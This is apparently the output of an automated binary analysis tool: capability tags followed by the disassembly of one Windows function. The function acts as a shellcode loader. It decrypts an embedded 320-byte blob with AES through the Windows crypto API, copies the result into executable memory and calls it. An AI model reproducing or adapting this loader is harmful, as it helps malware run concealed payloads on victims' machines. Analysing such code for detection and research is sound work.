Function at 0x140001130
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x78]
sub rsp, 0x178
mov dword [rsp + 0x30], 0x2d6575ce
mov edx, 0x140
mov dword [rsp + 0x34], 0x92f07a37
mov dword [rsp + 0x38], 0xad1e326f
mov dword [rsp + 0x3c], 0x11d61720
mov dword [rsp + 0x40], 0xc2ab6d03
mov dword [rsp + 0x44], 0xab8d6b53
mov dword [rsp + 0x48], 0x864f9f29
mov dword [rsp + 0x4c], 0xe5ad017e
mov dword [rsp + 0x50], 0x38f43b4e
mov dword [rsp + 0x54], 0xe846b5e4
mov dword [rsp + 0x58], 0xd0e3148
mov dword [rsp + 0x5c], 0xb0e01938
mov dword [rsp + 0x60], 0xd116620c
mov dword [rsp + 0x64], 0x3edeff6c
mov dword [rsp + 0x68], 0x6642f002
mov dword [rsp + 0x6c], 0xafcb36dc
mov dword [rsp + 0x70], 0xd160716c
mov dword [rsp + 0x74], 0x5902cbdc
mov dword [rsp + 0x78], 0x98a9cbd3
mov dword [rsp + 0x7c], 0xdb3a64e9
mov dword [rbp - 0x80], 0x8afa68fa
mov dword [rbp - 0x7c], 0xce422b0e
mov dword [rbp - 0x78], 0x917cd8aa
mov dword [rbp - 0x74], 0xa8dac6bc
mov dword [rbp - 0x70], 0xa9fa4b8
mov dword [rbp - 0x6c], 0x1fde563c
mov dword [rbp - 0x68], 0x92c4dac9
mov dword [rbp - 0x64], 0xa26d2cb2
mov dword [rbp - 0x60], 0x12f95036
mov dword [rbp - 0x5c], 0x7e720f64
mov dword [rbp - 0x58], 0x2bdc4d41
mov dword [rbp - 0x54], 0x7214fba4
mov dword [rbp - 0x50], 0xee1dbb86
mov dword [rbp - 0x4c], 0x4d0de02c
mov dword [rbp - 0x48], 0xda9f4a99
mov dword [rbp - 0x44], 0xef08600e
mov dword [rbp - 0x40], 0x66833c50
mov dword [rbp - 0x3c], 0xa27d0a4b
mov dword [rbp - 0x38], 0x432f67e9
mov dword [rbp - 0x34], 0x9b90c49a
mov dword [rbp - 0x30], 0xe4bbfcad
mov dword [rbp - 0x2c], 0xf1d5c8b5
mov dword [rbp - 0x28], 0x81581f9
mov dword [rbp - 0x24], 0xb940346b
mov dword [rbp - 0x20], 0x16dfe321
mov dword [rbp - 0x1c], 0xce322a1f
mov dword [rbp - 0x18], 0xeff3cee5
mov dword [rbp - 0x14], 0x3f79abec
mov dword [rbp - 0x10], 0x752e76a1
mov dword [rbp - 0xc], 0xab833187
mov dword [rbp - 8], 0xf59efaf0
mov dword [rbp - 4], 0x70f5ee
mov dword [rbp], 0x8710e863
mov dword [rbp + 4], 0x14879e8a
mov dword [rbp + 8], 0xf1b722f6
mov dword [rbp + 0xc], 0xe5318999
mov dword [rbp + 0x10], 0x3e9d6bee
mov dword [rbp + 0x14], 0x9558dca5
mov dword [rbp + 0x18], 0x5389f26d
mov dword [rbp + 0x1c], 0xcd64d6d4
mov dword [rbp + 0x20], 0x7f08866f
mov dword [rbp + 0x24], 0xc0bedbbe
mov dword [rbp + 0x28], 0xc303f454
mov dword [rbp + 0x2c], 0x5b11660b
mov dword [rbp + 0x30], 0xfd505b9c
mov dword [rbp + 0x34], 0x1209ebcb
mov dword [rbp + 0x38], 0xcbdedefd
mov dword [rbp + 0x3c], 0xc8a050d2
mov dword [rbp + 0x40], 0xb3d9b146
mov dword [rbp + 0x44], 0xcd3dc42e
mov dword [rbp + 0x48], 0x710dd247
mov dword [rbp + 0x4c], 0x22eca848
mov dword [rbp + 0x50], 0x7468ccf8
mov dword [rbp + 0x54], 0x2d2ca81d
mov dword [rbp + 0x58], 0xa2d19450
mov dword [rbp + 0x5c], 0x6f692dd0
mov dword [rbp + 0x60], 0xcf5fb5c8
mov dword [rbp + 0x64], 0x5153202a
mov dword [rbp + 0x68], 0xb3e49f2e
mov dword [rbp + 0x6c], 0xa6650678
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, 0x18
mov dword [rbp + 0x90], 0x140
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp + 0x98]
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400014a2
mov rcx, qword [rbp + 0x98]
lea rax, [rbp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400014a2
mov rcx, qword [rbp + 0xa0]
lea rdx, section..data
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400014a2
mov r8, qword [rbp + 0xa0]
lea rax, [rbp + 0xa8]
mov rcx, qword [rbp + 0x98]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400014a2
mov rcx, qword [rbp + 0xa8]
lea rax, [rbp + 0x90]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400014a2
mov rcx, qword [rbp + 0x98]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r8d, 0x140
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140010050
xor ecx, ecx
mov edx, 0x140
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, [rsp + 0x30]
mov r8d, 2
mov rcx, rax
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub r8, 1
jne 0x1400014e0
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
call rax
xor eax, eax
add rsp, 0x178
pop rbx
pop rbp
ret